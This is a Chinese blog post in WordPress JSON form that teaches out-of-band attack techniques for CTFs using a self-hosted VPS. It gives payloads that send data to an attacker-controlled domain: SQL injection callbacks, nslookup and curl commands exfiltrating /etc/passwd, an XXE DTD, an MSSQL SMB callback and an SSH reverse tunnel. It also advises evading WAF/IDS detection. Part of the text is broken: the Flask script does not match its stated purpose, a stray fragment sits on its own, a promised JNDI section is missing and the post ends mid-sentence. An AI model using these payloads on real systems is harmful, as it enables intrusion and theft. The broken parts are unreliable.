{"id":128,"date":"2026-04-20T17:09:12","date_gmt":"2026-04-20T09:09:12","guid":{"rendered":"http:\/\/154.36.185.147\/?p=128"},"modified":"2026-04-20T17:20:19","modified_gmt":"2026-04-20T09:20:19","slug":"ctf-oob%e6%94%bb%e5%87%bb%e5%88%a9%e5%99%a8%ef%bc%9avps%e5%ae%9e%e6%88%98%e6%8c%87%e5%8d%97","status":"publish","type":"post","link":"http:\/\/www.plutoze.xyz\/index.php\/2026\/04\/20\/ctf-oob%e6%94%bb%e5%87%bb%e5%88%a9%e5%99%a8%ef%bc%9avps%e5%ae%9e%e6%88%98%e6%8c%87%e5%8d%97\/","title":{"rendered":"CTF OOB\u653b\u51fb\u5229\u5668\uff1aVPS\u5b9e\u6218\u6307\u5357"},"content":{"rendered":"\n
\n

\u6458\u8981<\/strong>\uff1a\u5728CTF\u7ade\u8d5b\u4e2d\uff0c\u5e26\u5916\uff08Out-of-Band, OOB\uff09\u6280\u672f\u662f\u7a81\u7834\u9632\u5fa1\u3001\u83b7\u53d6\u5173\u952e\u4fe1\u606f\u7684\u6838\u5fc3\u624b\u6bb5\u3002\u5f53\u76ee\u6807\u7cfb\u7edf\u4e0d\u5b58\u5728\u76f4\u63a5\u56de\u663e\u65f6\uff0cOOB\u63d0\u4f9b\u4e86\u4e00\u6761\u9690\u853d\u7684\u6570\u636e\u901a\u9053\u3002\u672c\u6587\u5c06\u7cfb\u7edf\u6027\u5730\u9610\u8ff0\u5982\u4f55\u5229\u7528\u4e00\u53f0\u62e5\u6709\u516c\u7f51IP\u7684\u865a\u62df\u4e13\u7528\u670d\u52a1\u5668\uff08VPS\uff09\u4f5c\u4e3aOOB\u653b\u51fb\u7684\u63a5\u6536\u4e0e\u5206\u6790\u5e73\u53f0\uff0c\u5185\u5bb9\u6db5\u76d6DNS\u3001HTTP\u3001RMI\u3001LDAP\u7b49\u591a\u79cd\u534f\u8bae\u7684\u5b9e\u6218\u914d\u7f6e\u4e0e\u6280\u5de7\uff0c\u65e8\u5728\u4e3aCTF\u9009\u624b\u548c\u6e17\u900f\u6d4b\u8bd5\u5de5\u7a0b\u5e08\u6784\u5efa\u4e00\u4e2a\u5f3a\u5927\u3001\u7075\u6d3b\u7684OOB\u57fa\u7840\u8bbe\u65bd\u3002<\/p>\n<\/blockquote>\n\n\n\n

\n\n\n\n

1. OOB\u4e0eVPS\uff1a\u4e3a\u4f55\u662f\u5929\u4f5c\u4e4b\u5408<\/h2>\n\n\n\n

1.1 OOB\u653b\u51fb\u7684\u6838\u5fc3\u903b\u8f91<\/h3>\n\n\n\n

OOB\u653b\u51fb\u7684\u672c\u8d28\u662f\u5f3a\u5236\u76ee\u6807\u670d\u52a1\u5668\u5411\u653b\u51fb\u8005\u53ef\u63a7\u7684\u5916\u90e8\u670d\u52a1\u5668\u53d1\u8d77\u8bf7\u6c42\uff0c\u5e76\u901a\u8fc7\u8be5\u8bf7\u6c42\u643a\u5e26\u654f\u611f\u6570\u636e\u3002\u8fd9\u79cd\u6280\u672f\u9002\u7528\u4e8e\u591a\u79cd\u65e0\u56de\u663e\u7684\u6f0f\u6d1e\u573a\u666f\uff1a<\/p>\n\n\n\n

    \n
  • \u65e0\u56de\u663e\u7684SQL\u6ce8\u5165<\/strong>\uff1a\u65e0\u6cd5\u901a\u8fc7UNION<\/code>\u67e5\u8be2\u83b7\u53d6\u6570\u636e\u3002<\/li>\n\n\n\n
  • \u65e0\u56de\u663e\u7684\u547d\u4ee4\u6267\u884c\uff08Blind RCE\uff09<\/strong>\uff1a\u6267\u884c\u547d\u4ee4\u540e\u770b\u4e0d\u5230\u6807\u51c6\u8f93\u51fa\u3002<\/li>\n\n\n\n
  • \u65e0\u56de\u663e\u7684XXE<\/strong>\uff1a\u53ea\u80fd\u89e3\u6790XML\uff0c\u4f46\u65e0\u6cd5\u5728HTTP\u54cd\u5e94\u4e2d\u8fd4\u56de\u6587\u4ef6\u5185\u5bb9\u3002<\/li>\n\n\n\n
  • SSRF\uff08\u670d\u52a1\u7aef\u8bf7\u6c42\u4f2a\u9020\uff09<\/strong>\uff1a\u670d\u52a1\u5668\u53ef\u4ee5\u8bbf\u95ee\u5916\u90e8\u7f51\u7edc\u3002<\/li>\n\n\n\n
  • Log4j2\u7b49\u7279\u5b9a\u6f0f\u6d1e<\/strong>\uff1a\u901a\u8fc7JNDI\u6ce8\u5165\u7b49\u65b9\u5f0f\u89e6\u53d1\u3002<\/li>\n<\/ul>\n\n\n\n

    \u5728\u8fd9\u4e9b\u573a\u666f\u4e0b\uff0c\u653b\u51fb\u8005\u9700\u8981\u4e00\u4e2a”\u4fe1\u6807”\u670d\u52a1\u5668\u6765\u63a5\u6536\u548c\u8bb0\u5f55\u8fd9\u4e9b\u5e26\u5916\u8bf7\u6c42\u3002<\/p>\n\n\n\n

    1.2 VPS\u7684\u6838\u5fc3\u4f18\u52bf<\/h3>\n\n\n\n
      \n
    • \u72ec\u7acb\u7684\u516c\u7f51IP<\/strong>\uff1a\u8fd9\u662fOOB\u7684\u5fc5\u8981\u6761\u4ef6\u3002\u6240\u6709\u5e26\u5916\u8bf7\u6c42\u5fc5\u987b\u6709\u4e00\u4e2a\u53ef\u516c\u5f00\u8bbf\u95ee\u7684\u76ee\u6807\u5730\u5740\u3002<\/li>\n\n\n\n
    • \u5b8c\u5168\u7684\u63a7\u5236\u6743<\/strong>\uff1a\u4f60\u53ef\u4ee5\u76d1\u542c\u4efb\u610f\u7aef\u53e3\uff0c\u90e8\u7f72\u4efb\u610f\u670d\u52a1\uff08DNS\u670d\u52a1\u5668\u3001HTTP\u670d\u52a1\u5668\u3001LDAP\/RMI\u670d\u52a1\u5668\u7b49\uff09\uff0c\u5e76\u62e5\u6709root\u6743\u9650\u6765\u67e5\u770b\u8be6\u7ec6\u7684\u65e5\u5fd7\u3002<\/li>\n\n\n\n
    • \u73af\u5883\u7a33\u5b9a\u6027\u4e0e\u53ef\u5b9a\u5236\u6027<\/strong>\uff1a\u4e0e\u4e34\u65f6\u6027\u7684\u5728\u7ebfOOB\u5e73\u53f0\uff08\u5982DNSLog.cn, Burp Collaborator\uff09\u76f8\u6bd4\uff0cVPS\u63d0\u4f9b\u4e86\u957f\u671f\u3001\u7a33\u5b9a\u4e14\u9ad8\u5ea6\u53ef\u5b9a\u5236\u7684\u73af\u5883\u3002\u4f60\u53ef\u4ee5\u7f16\u5199\u81ea\u5b9a\u4e49\u811a\u672c\u6765\u81ea\u52a8\u5316\u6570\u636e\u63d0\u53d6\u548c\u89e3\u6790\uff0c\u751a\u81f3\u53ef\u4ee5\u6a21\u62df\u7279\u5b9a\u534f\u8bae\u4ee5\u89e6\u53d1\u66f4\u590d\u6742\u7684\u6f0f\u6d1e\u3002<\/li>\n\n\n\n
    • \u907f\u514dWAF\/IDS\u68c0\u6d4b<\/strong>\uff1a\u516c\u5171OOB\u5e73\u53f0\u7684\u57df\u540d\u548cIP\u5730\u5740\u5f80\u5f80\u88ab\u5b89\u5168\u8bbe\u5907\u6807\u8bb0\u3002\u4f7f\u7528\u81ea\u5df1\u7684VPS\u57df\u540d\u548cIP\u53ef\u4ee5\u6709\u6548\u89c4\u907f\u8fd9\u7c7b\u68c0\u6d4b\u3002<\/li>\n<\/ul>\n\n\n\n
      \n\n\n\n

      2. \u57fa\u7840\u73af\u5883\u642d\u5efa\uff1aVPS\u4e0e\u57df\u540d\u914d\u7f6e<\/h2>\n\n\n\n

      2.1 VPS\u9009\u62e9\u4e0e\u521d\u59cb\u5316<\/h3>\n\n\n\n
        \n
      • \u670d\u52a1\u5546<\/strong>\uff1a\u4efb\u610f\u63d0\u4f9bLinux\u53d1\u884c\u7248\uff08\u63a8\u8350Debian\/Ubuntu\/CentOS\uff09\u548c\u516c\u7f51IP\u7684\u4e91\u670d\u52a1\u5546\u5747\u53ef\u3002<\/li>\n\n\n\n
      • \u914d\u7f6e<\/strong>\uff1a\u6700\u4f4e\u914d\u7f6e\uff081\u6838CPU, 512MB\u5185\u5b58\uff09\u5373\u53ef\u6ee1\u8db3\u7edd\u5927\u591a\u6570OOB\u9700\u6c42\u3002<\/li>\n\n\n\n
      • \u521d\u59cb\u5316<\/strong>\uff1a\n
          \n
        1. \u83b7\u53d6root\u6743\u9650\u3002<\/li>\n\n\n\n
        2. \u66f4\u65b0\u7cfb\u7edf\u5305\uff1aapt update && apt upgrade -y<\/code><\/li>\n\n\n\n
        3. \u5173\u95ed\u6216\u914d\u7f6e\u9632\u706b\u5899\uff0c\u786e\u4fdd\u6240\u9700\u7aef\u53e3\u5bf9\u5916\u5f00\u653e\u3002\u4e3a\u5b89\u5168\u8d77\u89c1\uff0c\u53ef\u4f7f\u7528ufw<\/code>\u7b49\u5de5\u5177\uff0c\u4ec5\u5f00\u653eSSH\uff0822\uff09\u3001DNS\uff0853\/udp\uff09\u3001HTTP\uff0880\uff09\u3001HTTPS\uff08443\uff09\u4ee5\u53ca\u5176\u4ed6\u81ea\u5b9a\u4e49\u670d\u52a1\u7aef\u53e3\u3002
          bash ufw allow 22\/tcp ufw allow 53\/udp ufw allow 80\/tcp ufw allow 443\/tcp # \u5f00\u653eJNDI\u6d4b\u8bd5\u7528\u7aef\u53e3 ufw allow 1099\/tcp # RMI ufw allow 1389\/tcp # LDAP ufw enable<\/code><\/li>\n<\/ol>\n<\/li>\n<\/ul>\n\n\n\n

          2.2 \u57df\u540d\u914d\u7f6e<\/h3>\n\n\n\n

          \u4f60\u9700\u8981\u4e00\u4e2a\u57df\u540d\uff0c\u5e76\u5c06\u5176\u89e3\u6790\u6307\u5411\u4f60\u7684VPS\u3002<\/p>\n\n\n\n

            \n
          1. \u8d2d\u4e70\u57df\u540d<\/strong>\uff1a\u4f8b\u5982 my-ctf-vps.com<\/code>\u3002<\/li>\n\n\n\n
          2. \u914d\u7f6eDNS\u89e3\u6790<\/strong>\uff1a<\/li>\n<\/ol>\n\n\n\n
              \n
            • A\u8bb0\u5f55<\/strong>\uff1a\u5c06\u4e00\u4e2a\u5b50\u57df\u540d\uff08\u5982oob.my-ctf-vps.com<\/code>\uff09\u6307\u5411\u4f60\u7684VPS IP\u5730\u5740\u3002<\/li>\n\n\n\n
            • NS\u8bb0\u5f55<\/strong>\uff1a\u5c06\u53e6\u4e00\u4e2a\u5b50\u57df\u540d\uff08\u5982dns.my-ctf-vps.com<\/code>\uff09\u7684\u89e3\u6790\u6743\u6388\u6743\u7ed9 oob.my-ctf-vps.com<\/code>\u3002 \u5728\u4f60\u7684\u57df\u540d\u63d0\u4f9b\u5546\u7684DNS\u7ba1\u7406\u540e\u53f0\uff0c\u6dfb\u52a0\u5982\u4e0b\u8bb0\u5f55\uff1a<\/li>\n\n\n\n
            • \u8bb0\u5f55\u7c7b\u578b<\/strong>: A<\/code>
              \u4e3b\u673a<\/strong>: oob<\/code>
              \u503c<\/strong>: YOUR_VPS_IP<\/code><\/li>\n\n\n\n
            • \u8bb0\u5f55\u7c7b\u578b<\/strong>: NS<\/code>
              \u4e3b\u673a<\/strong>: dns<\/code>
              \u503c<\/strong>: oob.my-ctf-vps.com<\/code> \u8fd9\u6837\u914d\u7f6e\u540e\uff1a<\/li>\n\n\n\n
            • \u8bbf\u95ee oob.my-ctf-vps.com<\/code> \u7684HTTP\u8bf7\u6c42\u4f1a\u76f4\u63a5\u5230\u8fbe\u4f60\u7684VPS\u3002<\/li>\n\n\n\n
            • \u8bbf\u95ee *.dns.my-ctf-vps.com<\/code> \u7684DNS\u67e5\u8be2\u8bf7\u6c42\u5c06\u7531\u4f60VPS\u4e0a\u90e8\u7f72\u7684DNS\u670d\u52a1\u5668\u5904\u7406\u3002<\/li>\n<\/ul>\n\n\n\n
              \n\n\n\n

              3. OOB\u5b9e\u6218\uff1a\u591a\u534f\u8bae\u76d1\u542c\u4e0e\u5229\u7528<\/h2>\n\n\n\n

              3.1 DNS OOB\uff1a\u901a\u7528\u6570\u636e\u5916\u5e26\u901a\u9053<\/h3>\n\n\n\n

              DNS\u67e5\u8be2\u662f\u8fc4\u4eca\u4e3a\u6b62\u6700\u53ef\u9760\u3001\u6700\u901a\u7528\u7684OOB\u901a\u9053\uff0c\u56e0\u4e3a\u7edd\u5927\u591a\u6570\u670d\u52a1\u5668\u73af\u5883\u90fd\u5141\u8bb8\u51fa\u7ad9DNS\u8bf7\u6c42\u3002<\/p>\n\n\n\n

              3.1.1 \u5de5\u5177\u9009\u62e9\uff1ainteractsh<\/code><\/h4>\n\n\n\n

              interactsh<\/code> \u662fProjectDiscovery\u56e2\u961f\u5f00\u53d1\u7684\u4e00\u6b3e\u96c6\u6210\u4e86DNS\/HTTP\/SMTP\/LDAP\u7b49\u591a\u79cd\u534f\u8bae\u7684OOB\u4ea4\u4e92\u5de5\u5177\uff0c\u81ea\u5e26\u670d\u52a1\u7aef\u548c\u5ba2\u6237\u7aef\uff0c\u90e8\u7f72\u6781\u5176\u65b9\u4fbf\u3002<\/p>\n\n\n\n

              3.1.2 \u670d\u52a1\u7aef\u90e8\u7f72<\/h4>\n\n\n\n
                \n
              1. \u5b89\u88c5Go\u73af\u5883<\/strong>\uff08\u5982\u679c\u672a\u5b89\u88c5\uff09\u3002<\/li>\n\n\n\n
              2. \u5b89\u88c5interactsh<\/code><\/strong>\uff1a<\/li>\n<\/ol>\n\n\n\n
                   go install -v github.com\/projectdiscovery\/interactsh\/cmd\/interactsh-server@latest<\/code><\/pre>\n\n\n\n
                  \n
                1. \u542f\u52a8\u670d\u52a1\u7aef<\/strong>\uff1a<\/li>\n<\/ol>\n\n\n\n
                     # \u5c06 my-ctf-vps.com \u66ff\u6362\u4e3a\u4f60\u7684\u57df\u540d\n   # \u5c06 YOUR_VPS_IP \u66ff\u6362\u4e3a\u4f60\u7684IP\n   interactsh-server -d dns.my-ctf-vps.com -ip YOUR_VPS_IP -sa<\/code><\/pre>\n\n\n\n
                    \n
                  • -d dns.my-ctf-vps.com<\/code>: \u6307\u5b9a\u7528\u4e8eDNS\u4ea4\u4e92\u7684\u6839\u57df\u540d\u3002<\/li>\n\n\n\n
                  • -ip YOUR_VPS_IP<\/code>: \u670d\u52a1\u5668\u516c\u7f51IP\u3002<\/li>\n\n\n\n
                  • -sa<\/code>: \u81ea\u7b7e\u540d\u8bc1\u4e66\uff0c\u7528\u4e8eHTTPS\u3002 \u670d\u52a1\u5668\u542f\u52a8\u540e\uff0c\u4f1a\u751f\u6210\u4e00\u4e2a\u552f\u4e00\u7684\u4ea4\u4e92ID\uff0c\u4f8b\u5982 xxxxxxxxxxxxxxxxxxxx.dns.my-ctf-vps.com<\/code>\u3002\u5ba2\u6237\u7aef\u5c06\u4f7f\u7528\u6b64\u5730\u5740\u8fdb\u884c\u4ea4\u4e92\u3002<\/li>\n<\/ul>\n\n\n\n
                    3.1.3 \u5ba2\u6237\u7aef\u4f7f\u7528<\/h4>\n\n\n\n
                    \u5728\u672c\u5730\u653b\u51fb\u673a\u4e0a\u5b89\u88c5interactsh-client<\/code>\uff0c\u7136\u540e\u8fd0\u884c\uff1a<\/p>\n\n\n\n
                    # -s \u6307\u5b9a\u4f60\u7684VPS\u670d\u52a1\u5668\u5730\u5740\ninteractsh-client -s https:\/\/oob.my-ctf-vps.com -t xxxxxxxxxxxxxxxxxxxx.dns.my-ctf-vps.com<\/code><\/pre>\n\n\n\n
                    3.1.4 \u653b\u51fb\u8f7d\u8377\u793a\u4f8b<\/h4>\n\n\n\n
                      \n
                    • SQL\u6ce8\u5165 (Oracle)<\/strong>\uff1a<\/li>\n<\/ul>\n\n\n\n
                        ' || (SELECT UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL)||'.'||'xxxxxxxxxxxxxxxxxxxx.dns.my-ctf-vps.com') FROM DUAL) || '<\/code><\/pre>\n\n\n\n
                      \u5728interactsh<\/code>\u5ba2\u6237\u7aef\u65e5\u5fd7\u4e2d\uff0c\u4f60\u4f1a\u770b\u5230\u4e00\u6761\u6765\u81ea\u76ee\u6807\u670d\u52a1\u5668\u7684DNS\u67e5\u8be2\uff0c\u5b50\u57df\u540d\u4e3a current_user.xxxxxxxxxxxxxxxxxxxx.dns.my-ctf-vps.com<\/code>\u3002<\/p>\n\n\n\n
                        \n
                      • \u547d\u4ee4\u6267\u884c (Linux)<\/strong>\uff1a<\/li>\n<\/ul>\n\n\n\n
                          ping `whoami`.xxxxxxxxxxxxxxxxxxxx.dns.my-ctf-vps.com<\/code><\/pre>\n\n\n\n
                        \u6216\u8005\u66f4\u53ef\u9760\u7684nslookup<\/code>\/dig<\/code>\uff1a<\/p>\n\n\n\n
                          nslookup `cat \/etc\/passwd | base64 | tr -d '\\n' | head -c 50`.xxxxxxxxxxxxxxxxxxxx.dns.my-ctf-vps.com<\/code><\/pre>\n\n\n\n
                        \u6ce8\u610f<\/strong>\uff1aDNS\u5b50\u57df\u540d\u957f\u5ea6\u9650\u5236\uff08\u901a\u5e3863\u5b57\u8282\uff09\uff0c\u56e0\u6b64\u9700\u8981\u5206\u5757\u4f20\u8f93\u5927\u6570\u636e\u3002<\/p>\n\n\n\n
                          \n
                        • XXE<\/strong>\uff1a<\/li>\n<\/ul>\n\n\n\n
                            <!DOCTYPE root [\n      <!ENTITY % dtd SYSTEM \"http:\/\/oob.my-ctf-vps.com\/evil.dtd\">\n      %dtd;\n      %send;\n  ]><\/code><\/pre>\n\n\n\n
                          evil.dtd\u5185\u5bb9<\/strong> (\u6258\u7ba1\u5728VPS\u7684Web\u670d\u52a1\u5668\u4e0a):<\/p>\n\n\n\n
                            <!ENTITY % file SYSTEM \"file:\/\/\/etc\/passwd\">\n  <!ENTITY % send \"<!ENTITY &#x25; send_back SYSTEM 'http:\/\/oob.my-ctf-vps.com\/?data=%file;'>\"><\/code><\/pre>\n\n\n\n
                          \u6b64\u4e3aXXE\u5e26\u5916\u6570\u636e\u4f20\u8f93\uff08OOB XXE\uff09\u7684\u6807\u51c6\u65b9\u5f0f\uff0c\u4f46\u66f4\u7b80\u5355\u7684DNS\u901a\u9053\u5229\u7528\u5982\u4e0b\uff1a<\/p>\n\n\n\n
                            <!ENTITY % data SYSTEM \"php:\/\/filter\/read=convert.base64-encode\/resource=\/etc\/hostname\">\n  <!ENTITY % oob SYSTEM \"http:\/\/%data;.xxxxxxxxxxxxxxxxxxxx.dns.my-ctf-vps.com\">\n  %oob;<\/code><\/pre>\n\n\n\n
                          \n\n\n\n
                          3.2 HTTP OOB\uff1a\u7b80\u5355\u76f4\u63a5\u7684\u4fe1\u606f\u56de\u4f20<\/h3>\n\n\n\n
                          \u5f53\u76ee\u6807\u5141\u8bb8\u51fa\u7ad9HTTP\/S\u8bf7\u6c42\u65f6\uff0c\u8fd9\u662f\u6700\u76f4\u63a5\u7684\u65b9\u5f0f\u3002<\/p>\n\n\n\n
                          3.2.1 \u76d1\u542c\u65b9\u5f0f<\/h4>\n\n\n\n
                            \n
                          • \u7b80\u5355\u76d1\u542c<\/strong>\uff1a\u4f7f\u7528Python\u6216Netcat\u3002<\/li>\n<\/ul>\n\n\n\n
                              # \u76d1\u542c80\u7aef\u53e3\u5e76\u6253\u5370\u6240\u6709\u8bf7\u6c42\u5934\u548c\u5185\u5bb9\n  sudo nc -lvp 80\n\n  # Python3\n  sudo python3 -m http.server 80<\/code><\/pre>\n\n\n\n
                              \n
                            • \u7cbe\u7ec6\u5316\u76d1\u542c<\/strong>\uff1a\u4f7f\u7528interactsh<\/code>\u3002\u5b83\u4f1a\u81ea\u52a8\u8bb0\u5f55\u6240\u6709\u5230\u8fbeoob.my-ctf-vps.com<\/code>\u7684HTTP\u8bf7\u6c42\uff0c\u5305\u62ec\u8bf7\u6c42\u5934\u3001\u8def\u5f84\u548cBody\u3002<\/li>\n<\/ul>\n\n\n\n
                              3.2.2 \u653b\u51fb\u8f7d\u8377\u793a\u4f8b<\/h4>\n\n\n\n
                                \n
                              • SSRF<\/strong>\uff1a
                                http:\/\/example.com\/proxy?url=http:\/\/oob.my-ctf-vps.com\/ssrf-test<\/code>
                                interactsh<\/code>\u5c06\u8bb0\u5f55\u5230 \/ssrf-test<\/code> \u7684\u8bbf\u95ee\u65e5\u5fd7\uff0c\u5e76\u663e\u793a\u6e90IP\uff0c\u4ece\u800c\u786e\u8ba4SSRF\u6f0f\u6d1e\u3002<\/li>\n\n\n\n
                              • \u547d\u4ee4\u6267\u884c<\/strong>\uff1a<\/li>\n<\/ul>\n\n\n\n
                                  curl http:\/\/oob.my-ctf-vps.com\/`whoami`\n  # \u4f7f\u7528POST\u4f20\u8f93\u6587\u4ef6\u5185\u5bb9\n  curl -X POST --data-binary \"@\/etc\/passwd\" http:\/\/oob.my-ctf-vps.com\/file_dump<\/code><\/pre>\n\n\n\n
                                  \n
                                • SQL\u6ce8\u5165 (MS SQL)<\/strong>\uff1a<\/li>\n<\/ul>\n\n\n\n
                                    '; EXEC master..xp_dirtree '\\\\\\\\oob.my-ctf-vps.com\\\\share';--<\/code><\/pre>\n\n\n\n
                                  \u8fd9\u4f1a\u89e6\u53d1\u76ee\u6807\u670d\u52a1\u5668\u5411\u4f60\u7684VPS\u53d1\u8d77SMB\u8fde\u63a5\u8bf7\u6c42\uff08\u76d1\u542c445\u7aef\u53e3 sudo nc -lvp 445<\/code>\uff09\u3002<\/p>\n\n\n\n
                                  4. \u9ad8\u7ea7\u6280\u5de7\u4e0e\u81ea\u52a8\u5316<\/h3>\n\n\n\n
                                  4.1 \u81ea\u5b9a\u4e49\u811a\u672c\u4e0e\u6570\u636e\u89e3\u6790<\/h3>\n\n\n\n
                                  \u5bf9\u4e8e\u590d\u6742\u7684\u6570\u636e\u63d0\u53d6\uff0c\u4f8b\u5982\u9010\u5b57\u7b26\u76f2\u6ce8\uff0c\u4f9d\u8d56\u624b\u52a8\u89c2\u5bdf\u65e5\u5fd7\u6548\u7387\u4f4e\u4e0b\u3002\u53ef\u4ee5\u5728VPS\u4e0a\u7f16\u5199\u811a\u672c\u6765\u81ea\u52a8\u5316\u6b64\u8fc7\u7a0b\u3002<\/p>\n\n\n\n
                                  \u793a\u4f8b\uff1a\u81ea\u52a8\u5316\u65f6\u95f4\u76f2\u6ce8\u9a8c\u8bc1\u811a\u672c (Python + Flask)<\/strong><\/p>\n\n\n\n
                                  from flask import Flask, request\nimport time\nimport base64\n\napp = Flask(__name__)\n\n@app.route('\/time-blind\/<payload>')\ndef time_blind(payload):\n    try:\n        # payload\u662fBase64\u7f16\u7801\u7684\uff0c\u5305\u542b\u5f53\u524d\u731c\u6d4b\u7684\u5b57\u7b26\u548c\u4f4d\u7f6e\n        # \u4f8b\u5982: base64_encode(\"pos=1&char=a\")\n        decoded_payload = base64.b64decode(payload).decode()\n        # \u8fd9\u91cc\u53ef\u4ee5\u52a0\u5165\u66f4\u590d\u6742\u7684\u903b\u8f91\u6765\u8bb0\u5f55\u548c\u5904\u7406\u7ed3\u679c\n        print(f\"Received probe: {decoded_payload}\")\n        time.sleep(5)  # \u6a21\u62df\u6570\u636e\u5e93\u7684sleep\n    except Exception as e:\n        print(f\"Error decoding payload: {e}\")\n\n    return \"OK\"\n\nif __name__ == '__main__':\n    # \u76d1\u542c\u5728\u516c\u7f51\u53ef\u8bbf\u95ee\u7684\u7aef\u53e3\u4e0a\n    app.run(host='0.0.0.0', port=8000)<\/code><\/pre>\n\n\n\n
                                  \u5916\u5e26\u901a\u9053\u3002<\/p>\n\n\n\n
                                  \u653b\u51fb\u8f7d\u8377 (SQL)<\/strong>\uff1a<\/p>\n\n\n\n
                                  ' OR IF(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1)='a', (SELECT 1 FROM (SELECT(SLEEP(5)))a), 0); --<\/code><\/pre>\n\n\n\n
                                  \u5982\u679c\u54cd\u5e94\u65f6\u95f4\u8d85\u8fc75\u79d2\uff0c\u5219\u8bf4\u660e\u731c\u6d4b\u6b63\u786e\u3002\u653b\u51fb\u7aef\u811a\u672c\u53ef\u4ee5\u81ea\u52a8\u8fed\u4ee3\u5b57\u7b26\u548c\u4f4d\u7f6e\uff0c\u5e76\u5c06\u7f16\u7801\u540e\u7684payload\u53d1\u9001\u5230 http:\/\/oob.my-ctf-vps.com:8000\/time-blind\/<base64_payload><\/code>\u3002<\/p>\n\n\n\n
                                  4.2 \u53cd\u5411\u96a7\u9053\u4e0e\u5185\u7f51\u7a7f\u900f<\/h3>\n\n\n\n
                                  \u5f53CTF\u76ee\u6807\u4f4d\u4e8e\u4e00\u4e2a\u65e0\u6cd5\u76f4\u63a5\u8bbf\u95ee\u7684\u5185\u7f51\u65f6\uff0c\u5982\u679c\u80fd\u5728\u4e00\u4e2a\u8fb9\u754c\u8bbe\u5907\u4e0a\u5b9e\u73b0RCE\uff0c\u53ef\u4ee5\u5229\u7528VPS\u4f5c\u4e3a\u8df3\u677f\uff0c\u5efa\u7acb\u53cd\u5411\u96a7\u9053\u3002<\/p>\n\n\n\n
                                    \n
                                  • \u5de5\u5177<\/strong>\uff1afrp<\/code>, ngrok<\/code> (\u81ea\u5efa\u670d\u52a1\u7aef), ssh -R<\/code><\/li>\n\n\n\n
                                  • SSH\u53cd\u5411\u96a7\u9053\u793a\u4f8b<\/strong>\uff1a
                                    \u5728\u76ee\u6807\u5185\u7f51\u7684\u88ab\u63a7\u673a\u5668\u4e0a\u6267\u884c\uff1a<\/li>\n<\/ul>\n\n\n\n
                                      # \u5c06\u5185\u7f51\u768480\u7aef\u53e3\u6620\u5c04\u5230VPS\u76848080\u7aef\u53e3\n  ssh -R 8080:localhost:80 user@YOUR_VPS_IP<\/code><\/pre>\n\n\n\n
                                    \u73b0\u5728\uff0c\u8bbf\u95ee\u4f60VPS\u76848080\u7aef\u53e3\uff0c\u5c31\u76f8\u5f53\u4e8e\u8bbf\u95ee\u5185\u7f51\u76ee\u6807\u768480\u7aef\u53e3\u3002<\/p>\n\n\n\n
                                    \n\n\n\n
                                    5. \u603b\u7ed3<\/h2>\n\n\n\n
                                    \u4e00\u53f0\u914d\u7f6e\u5f97\u5f53\u7684VPS\u662fCTF OOB\u653b\u51fb\u94fe\u4e2d\u4e0d\u53ef\u6216\u7f3a\u7684\u4e00\u73af\u3002\u5b83\u4e0d\u4ec5\u63d0\u4f9b\u4e86\u4e00\u4e2a\u7a33\u5b9a\u53ef\u9760\u7684\u76d1\u542c\u5e73\u53f0\uff0c\u66f4\u901a\u8fc7\u5176\u9ad8\u5ea6\u7684\u53ef\u5b9a\u5236\u6027\uff0c\u5c06OOB\u653b\u51fb\u7684\u6f5c\u529b\u53d1\u6325\u5230\u6781\u81f4\u3002\u4ece\u57fa\u7840\u7684DNS\u3001HTTP\u76d1\u542c\u5230\u590d\u6742\u7684JNDI\u5229\u7528\u548c\u81ea\u52a8\u5316\u811a\u672c\uff0c\u719f\u7ec3\u638c\u63e1VPS\u5728OOB\u573a\u666f\u4e0b\u7684\u5e94\u7528\uff0c\u5c06\u6781\u5927\u63d0\u5347\u4f60\u5728\u65e0\u56de\u663e\u573a\u666f\u4e0b\u7684\u89e3\u9898\u80fd\u529b\u548c\u6e17\u900f\u6d4b\u8bd5\u7684\u6210\u529f\u7387\u3002<\/p>\n\n\n\n
                                    \u6838\u5fc3\u5de5\u5177\u4e0e\u6280\u672f\u6808\u56de\u987e<\/strong>\uff1a<\/p>\n\n\n\n
                                      \n
                                    • \u57fa\u7840<\/strong>\uff1aVPS\u3001\u516c\u7f51IP\u3001\u57df\u540d<\/li>\n\n\n\n
                                    • DNS OOB<\/strong>\uff1ainteractsh<\/code>, \u81ea\u5b9a\u4e49DNS\u670d\u52a1\u5668<\/li>\n\n\n\n
                                    • HTTP\/S OOB<\/strong>\uff1ainteractsh<\/code>, nc<\/code>, Python HTTP Server<\/li>\n\n\n\n
                                    • JNDI OOB<\/strong>\uff1aJNDI-Injection-Exploit<\/code>, marshalsec<\/code><\/li>\n\n\n\n
                                    • \u81ea\u52a8\u5316<\/strong>\uff1a\u81ea\u5b9a\u4e49\u811a\u672c\uff08Python\/Flask, Go\uff09<\/li>\n\n\n\n
                                    • \u9ad8\u7ea7\u5e94\u7528<\/strong>\uff1a\u53cd\u5411\u96a7\u9053 (ssh -R<\/code>, frp<\/code>)<\/li>\n<\/ul>\n\n\n\n
                                      \u5728\u5b9e\u8df5\u4e2d\uff0c\u5e94\u6839\u636e\u5177\u4f53\u6f0f\u6d1e\u7c7b\u578b\u548c\u76ee\u6807\u73af\u5883\uff0c\u7075\u6d3b\u7ec4\u5408\u4f7f\u7528\u8fd9\u4e9b\u534f\u8bae\u548c\u5de5\u5177\uff0c\u6784\u5efa\u6700\u9ad8\u6548\u7684\u6570\u636e<\/h2>\n","protected":false},"excerpt":{"rendered":"
                                      \u6458\u8981\uff1a\u5728CTF\u7ade\u8d5b\u4e2d\uff0c\u5e26\u5916\uff08Out-of-Band, OOB\uff09\u6280\u672f\u662f\u7a81\u7834\u9632\u5fa1\u3001\u83b7\u53d6\u5173\u952e\u4fe1\u606f\u7684\u6838\u5fc3\u624b\u6bb5\u3002\u5f53\u76ee\u6807\u7cfb […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-128","post","type-post","status-publish","format-standard","hentry","category-learn"],"_links":{"self":[{"href":"http:\/\/www.plutoze.xyz\/index.php\/wp-json\/wp\/v2\/posts\/128","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.plutoze.xyz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.plutoze.xyz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.plutoze.xyz\/index.php\/wp-json\/wp\/v2\/users\/1"